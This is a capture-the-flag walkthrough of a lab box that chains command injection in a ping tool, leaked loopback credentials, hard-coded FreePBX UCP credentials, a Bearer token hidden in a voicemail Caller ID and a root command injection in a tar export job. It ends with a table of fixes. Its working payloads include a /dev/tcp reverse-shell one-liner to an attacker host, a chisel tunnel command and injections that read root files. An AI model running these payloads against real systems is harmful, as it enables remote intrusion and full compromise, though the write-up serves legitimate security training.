// TL;DR
  • Command injection in the /internal/netcheck tool (ping -c 1 {host} with shell=True) → RCE as web and the user flag.
  • Loopback services: a console (:3000) leaks the UCP credentials; an automation microservice (:9000) runs as root but wants a Bearer token.
  • FreePBX 16 · CVE-2026-46376: the FreePBXUCPTemplateCreator user is a hard-coded UCP template credential. Log into UCP — and the login is AJAX, not a form-POST.
  • The key is a voicemail: the automation Bearer token is the Caller ID of a message in the INBOX (command=grid).
  • Root: the /jobs/export job drops the report parameter into a tar czf ... without sanitizing → command injection as root.
// before you start

Swap <target> for the box IP and <attacker> for your VPN IP (ip a show tun0). The nc listener runs on your machine; steps [03] onwards run on the target. You need: nmap, curl, netcat.

[01] Recon

One interesting port: a Flask app served by gunicorn on 80. The home is a "Closed Circuit — pool ops" panel; a /status page exposes a small network-diagnostics tool that pings a host of your choice. Whenever an app lets you pick what to "ping", question one is: how does it build the command?

# scan
nmap -Pn -sV -p- <target>
80/tcp open  http  gunicorn (Flask)

# la home e la pagina di status
curl -s http://<target>/ | grep -i -o 'pool ops\|netcheck\|status'
curl -s http://<target>/status | grep -i 'name="host"'
<input name="host" ...>   # c'e un campo host: candidato per l'injection
# scan
nmap -Pn -sV -p- <target>
80/tcp open  http  gunicorn (Flask)

# the home and the status page
curl -s http://<target>/ | grep -i -o 'pool ops\|netcheck\|status'
curl -s http://<target>/status | grep -i 'name="host"'
<input name="host" ...>   # there's a host field: injection candidate

[02] Command injection → foothold (web)

The netcheck takes a host via POST on /internal/netcheck and hands it to ping. If it does so with shell=True and no sanitization, a ; lets me append a second command. I try id right away: the output shows up in the response page, among the ping statistics.

# la injection: chiudo l'host con ; e appendo il mio comando
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; id' | sed 's/<[^>]*>//g' | grep uid
uid=1001(web) gid=1001(web) groups=1001(web)   # RCE confermata

# la user flag e nella home di web
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; cat /home/web/user.txt' | sed 's/<[^>]*>//g' | grep THM
THM{████████████████████}   # oscurata: policy
# the injection: close host with ; and append my command
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; id' | sed 's/<[^>]*>//g' | grep uid
uid=1001(web) gid=1001(web) groups=1001(web)   # RCE confirmed

# the user flag is in web's home
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; cat /home/web/user.txt' | sed 's/<[^>]*>//g' | grep THM
THM{████████████████████}   # redacted: policy

I confirm by reading the app source (it's world-readable): the the reason spelled out in the source.

# il sorgente dell'edge conferma shell=True
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=;cat /var/www/infinity_pool/edge/app.py' | sed 's/<[^>]*>//g'

proc = subprocess.run(f"ping -c 1 {host}", shell=True, ...)   # host non sanificato
# the edge source confirms shell=True
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=;cat /var/www/infinity_pool/edge/app.py' | sed 's/<[^>]*>//g'

proc = subprocess.run(f"ping -c 1 {host}", shell=True, ...)   # host unsanitised
# opzionale ma comodo: una reverse shell come web (i passi [03]-[08] girano sul box)
# sul TUO box, in ascolto:
nc -lvnp 4444
# poi inietta il callback nel netcheck (sostituisci <attacker> col tuo IP tun0):
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"'
web@infinity-pool:~$   # shell interattiva come web
# optional but handy: a reverse shell as web (steps [03]-[08] run on the box)
# on YOUR box, listening:
nc -lvnp 4444
# then inject the callback into the netcheck (swap <attacker> for your tun0 IP):
curl -s http://<target>/internal/netcheck \
     --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"'
web@infinity-pool:~$   # interactive shell as web
// if the callback never lands

It's not the payload: on some THM VPNs it's your own ufw dropping the inbound — open it with sudo ufw allow in on tun0 to any port 4444 proto tcp. Otherwise the whole runbook also works with no reverse shell, pasting each command into the injection channel: --data-urlencode 'host=127.0.0.1; <command>' and stripping HTML with sed 's/<[^>]*>//g'. But watch out: from [06] on the commands share variables (U, PASS, TOK, K) and files (cj, login.html): each injection is a fresh shell, so send them as one payload (commands joined with ;, e.g. host=127.0.0.1; cd /tmp; U=...; PASS=$(...); ...), with cd /tmp to pin cj/login.html to a writable dir — or, easier, a real interactive shell.

[03] Internal recon: the loopback services

With a shell on the box, the first move is to look at what listens only locally — that's where the box hides its chain. Three services beyond the edge: a console on :3000, an automation on :9000, and an Apache/FreePBX on :8080.

# porte in ascolto (tutte in loopback tranne l'edge :80)
ss -ltnp
127.0.0.1:3000   # cc-watchtower  (utente svc-watch)
127.0.0.1:9000   # cc-automation  (utente ROOT)
127.0.0.1:8080   # apache2 / FreePBX

# chi gira come cosa
ps -eo user,cmd | grep -E 'gunicorn|automation|watchtower' | grep -v grep
root ... /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000   # :9000 e ROOT
# listening ports (all loopback except the :80 edge)
ss -ltnp
127.0.0.1:3000   # cc-watchtower  (user svc-watch)
127.0.0.1:9000   # cc-automation  (user ROOT)
127.0.0.1:8080   # apache2 / FreePBX

# who runs as what
ps -eo user,cmd | grep -E 'gunicorn|automation|watchtower' | grep -v grep
root ... /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000   # :9000 is ROOT

[04] The console that leaks credentials

The surveillance console (cc-watchtower, user svc-watch) is read-only: it exposes /api/health and /api/config. But the config says more than it should — including the telephony portal credentials and the automation endpoint.

curl -s http://127.0.0.1:3000/api/config | python3 -m json.tool
"telephony_user": "FreePBXUCPTemplateCreator",
"telephony_pass": "St4yN0t1c3d_████",        # mascherata: policy
"telephony_portal": "http://127.0.0.1:8080/ucp",
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE."

# l'automazione: /jobs/export vuole un Bearer token che ancora non ho
curl -s http://127.0.0.1:9000/health | python3 -m json.tool | grep -A2 jobs
"POST /jobs/export": {"auth": "Authorization: Bearer <automation key>"}
curl -s http://127.0.0.1:3000/api/config | python3 -m json.tool
"telephony_user": "FreePBXUCPTemplateCreator",
"telephony_pass": "St4yN0t1c3d_████",        # masked: policy
"telephony_portal": "http://127.0.0.1:8080/ucp",
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE."

# the automation: /jobs/export wants a Bearer token I don't have yet
curl -s http://127.0.0.1:9000/health | python3 -m json.tool | grep -A2 jobs
"POST /jobs/export": {"auth": "Authorization: Bearer <automation key>"}
// read the notes the ops left behind

The ops_note isn't flavour: it's the signpost. "UCP still on default template creds" means that is the door. The leaked password, on the other hand, is a partial red herring — it fails on su, SSH, MySQL and the Asterisk AMI (see below).

[05] Dead ends (so you don't waste time)

Before following the right lead, here's what does not pay off — tested, so you don't repeat it. The box is built to push you toward UCP, not toward credential reuse or a classic local priv-esc.

AttemptResult
sudo -l as webasks for web's password, which I don't have
Password reuse (su / SSH / MySQL / Asterisk AMI)fails everywhere
SUID / capabilities (find / -perm -4000)standard binaries only, nothing useful
Read /etc/freepbx.conf for the DB credspermission denied (root:asterisk 640)
/proc/<pid>/environ of the automation for the keydenied (root process)
automation.env / service dirdir 750 root:root: web can't enter

[06] FreePBX UCP: CVE-2026-46376 and the AJAX login

The :8080 is FreePBX 16.0.45. The FreePBXUCPTemplateCreator user is the tell for CVE-2026-46376: credentials hard-coded into the generic UCP template that log you straight into the User Control Panel. The practical snag: logging in with curl keeps bouncing back to the login page — because it's not the form-POST it looks like. The form is decorative; the real login is an AJAX call to ucp/ajax.php with module=User&command=login.

U=http://127.0.0.1:8080/ucp

# la password l'ha gia rivelata /api/config: la catturo (niente segreti da incollare)
PASS=$(curl -s http://127.0.0.1:3000/api/config | python3 -c 'import sys,json;print(json.load(sys.stdin)["telephony_pass"])')

# 1) cookie di sessione + token CSRF (estrazione robusta all'ordine degli attributi)
curl -s -c cj $U/ > login.html
TOK=$(grep -oiE 'name="token"[^>]*value="[^"]+"|value="[^"]+"[^>]*name="token"' login.html | grep -oE 'value="[^"]+"' | head -1 | sed 's/value="//;s/"//')
[ -n "$TOK" ] || echo 'CSRF token non trovato -- controlla login.html'

# 2) login VERO: POST all'endpoint AJAX (non al form)
curl -s -b cj -c cj $U/ajax.php \
     --data-urlencode "token=$TOK" \
     --data-urlencode 'username=FreePBXUCPTemplateCreator' \
     --data-urlencode "password=$PASS" \
     --data-urlencode 'module=User' --data-urlencode 'command=login'
{"status":true,"message":"","token":"..."}   # sessione autenticata in cj
U=http://127.0.0.1:8080/ucp

# the password was already revealed by /api/config: capture it (no secrets to paste)
PASS=$(curl -s http://127.0.0.1:3000/api/config | python3 -c 'import sys,json;print(json.load(sys.stdin)["telephony_pass"])')

# 1) session cookie + CSRF token (extraction robust to attribute order)
curl -s -c cj $U/ > login.html
TOK=$(grep -oiE 'name="token"[^>]*value="[^"]+"|value="[^"]+"[^>]*name="token"' login.html | grep -oE 'value="[^"]+"' | head -1 | sed 's/value="//;s/"//')
[ -n "$TOK" ] || echo 'CSRF token not found -- check login.html'

# 2) the REAL login: POST to the AJAX endpoint (not the form)
curl -s -b cj -c cj $U/ajax.php \
     --data-urlencode "token=$TOK" \
     --data-urlencode 'username=FreePBXUCPTemplateCreator' \
     --data-urlencode "password=$PASS" \
     --data-urlencode 'module=User' --data-urlencode 'command=login'
{"status":true,"message":"","token":"..."}   # authenticated session in cj
// why curl is enough (no browser)

The "by-the-book" writeup tunnels the ports with chisel and uses a browser because the login runs in JavaScript. But the JS does nothing magic: it serializes the form and POSTs it to ajax.php with module=User&command=login. Replicate that call and curl logs in on its own — faster and tunnel-free. If you prefer the browser, that's fine too: ./chisel client <attacker>:9999 R:8080:127.0.0.1:8080 and browse to http://127.0.0.1:8080/ucp/.

[07] The key is in a voicemail

Inside UCP, the user has an extension (9919988, shown in the UCP dashboard after login) and a mailbox. The Voicemail module exposes a grid command that returns messages as JSON — Caller ID included. And the Caller ID of the INBOX message is the automation Bearer token. A nice touch, for a telephony-themed box.

# l'estensione dell'utente UCP (visibile nella dashboard UCP dopo il login)
EXT=9919988
# stessa sessione (cj): elenca i messaggi della segreteria di quell'estensione
curl -s -b cj "$U/ajax.php?module=voicemail&command=grid\
&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" \
  | python3 -m json.tool | grep -i callerid
"callerid": "\"Automation Key cc_auto_████\" <9000>"   # ecco il Bearer token
# the UCP user's extension (shown in the UCP dashboard after login)
EXT=9919988
# same session (cj): list that extension's voicemail messages
curl -s -b cj "$U/ajax.php?module=voicemail&command=grid\
&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" \
  | python3 -m json.tool | grep -i callerid
"callerid": "\"Automation Key cc_auto_████\" <9000>"   # there's the Bearer token
// why curl reads the voicemail and web can't

The spool in /var/spool/asterisk/voicemail/... is owned by asterisk and web can't read it. But UCP runs inside Apache as asterisk: once authenticated, you ask and it serves it. A textbook "confused deputy" — you don't read the file, you ask someone who can.

[08] Root via the export job

I have the Bearer token, and the automation runs as root. /jobs/export takes a JSON {"report":"..."}. I try a harmless name: the response hands us the game, because it echoes the command it builds.

# cattura il Bearer token dal Caller ID della segreteria (niente segreti da incollare)
K=$(curl -s -b cj "$U/ajax.php?module=voicemail&command=grid&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" | grep -oE 'cc_auto_[a-f0-9]+' | head -1)

# 1) prova innocua: guarda il comando che costruisce
curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"test"}'
"command": "tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1"

# 2) il mio report finisce dritto nel comando: chiudo il tar, appendo id, # commenta il resto
curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"x.tgz /var/automation/data; id #"}'
"output": "uid=0(root) gid=0(root) groups=0(root) ..."   # esecuzione come ROOT
# capture the Bearer token from the voicemail Caller ID (no secrets to paste)
K=$(curl -s -b cj "$U/ajax.php?module=voicemail&command=grid&ext=$EXT&folder=INBOX&order=desc&sort=date&offset=0&limit=100" | grep -oE 'cc_auto_[a-f0-9]+' | head -1)

# 1) harmless probe: look at the command it builds
curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"test"}'
"command": "tar czf /var/automation/exports/test.tgz /var/automation/data 2>&1"

# 2) my report lands straight in the command: close the tar, append id, # comments out the rest
curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"x.tgz /var/automation/data; id #"}'
"output": "uid=0(root) gid=0(root) groups=0(root) ..."   # execution as ROOT

Same shape, just change the command: I read the root flag.

curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
THM{████████████████████}   # oscurata: policy
curl -s -X POST http://127.0.0.1:9000/jobs/export \
     -H "Authorization: Bearer $K" -H 'Content-Type: application/json' \
     -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
THM{████████████████████}   # redacted: policy
// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

[09] Defense

WeaknessFix
shell=True with user input in the netcheckno shell: subprocess.run(["ping","-c","1",host]) and validate the host (allowlist / ipaddress)
The console leaks credentials on /api/confignever return secrets in clear; split config from secrets, and rotate defaults
Hard-coded UCP creds (CVE-2026-46376)patch FreePBX, force a password change on first login, remove template users
Bearer token delivered via Caller ID / voicemailsecrets don't ride in telephony metadata; ephemeral, service-bound tokens
report concatenated into tar as rootallowlist the filename, no shell, and run the job least-privilege (not root)
// verdict

The same mistake twice — user input in a shell — at opposite ends of the chain, held together by secrets travelling where they shouldn't (a chatty config, a voicemail). No step is exotic; it's loopback trust that does the damage: "it's internal-only" stops being true the instant you set foot on the box. In one line: a service isn't safe because it listens on 127.0.0.1 — it's safe only if it doesn't trust whoever talks to it.